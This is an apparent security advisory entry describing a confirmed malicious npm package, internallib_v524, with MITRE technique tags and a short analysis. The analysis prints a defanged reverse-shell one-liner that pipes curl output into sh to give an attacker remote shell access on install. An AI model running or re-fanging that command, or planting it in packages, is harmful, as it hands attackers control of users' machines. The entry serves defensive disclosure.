LWA-2026-7694 MAL-2026-11512 ↗ confirmed malware

internallib_v524@1.0.2

Malicious code in internallib_v524 (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1059.004 · Unix ShellT1105 · Ingress Tool TransferT1071.001 · Web Protocols

Analysis

The package exports a function that executes a reverse shell payload. When required, it runs `curl hxxps://reverse-shell[.]sh/10[.]0[.]64[.]141:4433|sh` via a bash subprocess, connecting to IP 10[.]0[.]64[.]141 on port 4433 and piping the response into a shell — giving the attacker remote shell access to the installer's machine.

analyzed by
Leitwacht
first seen
Aug 3, 2026, 08:37 PM
analyzed
Aug 3, 2026, 08:37 PM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.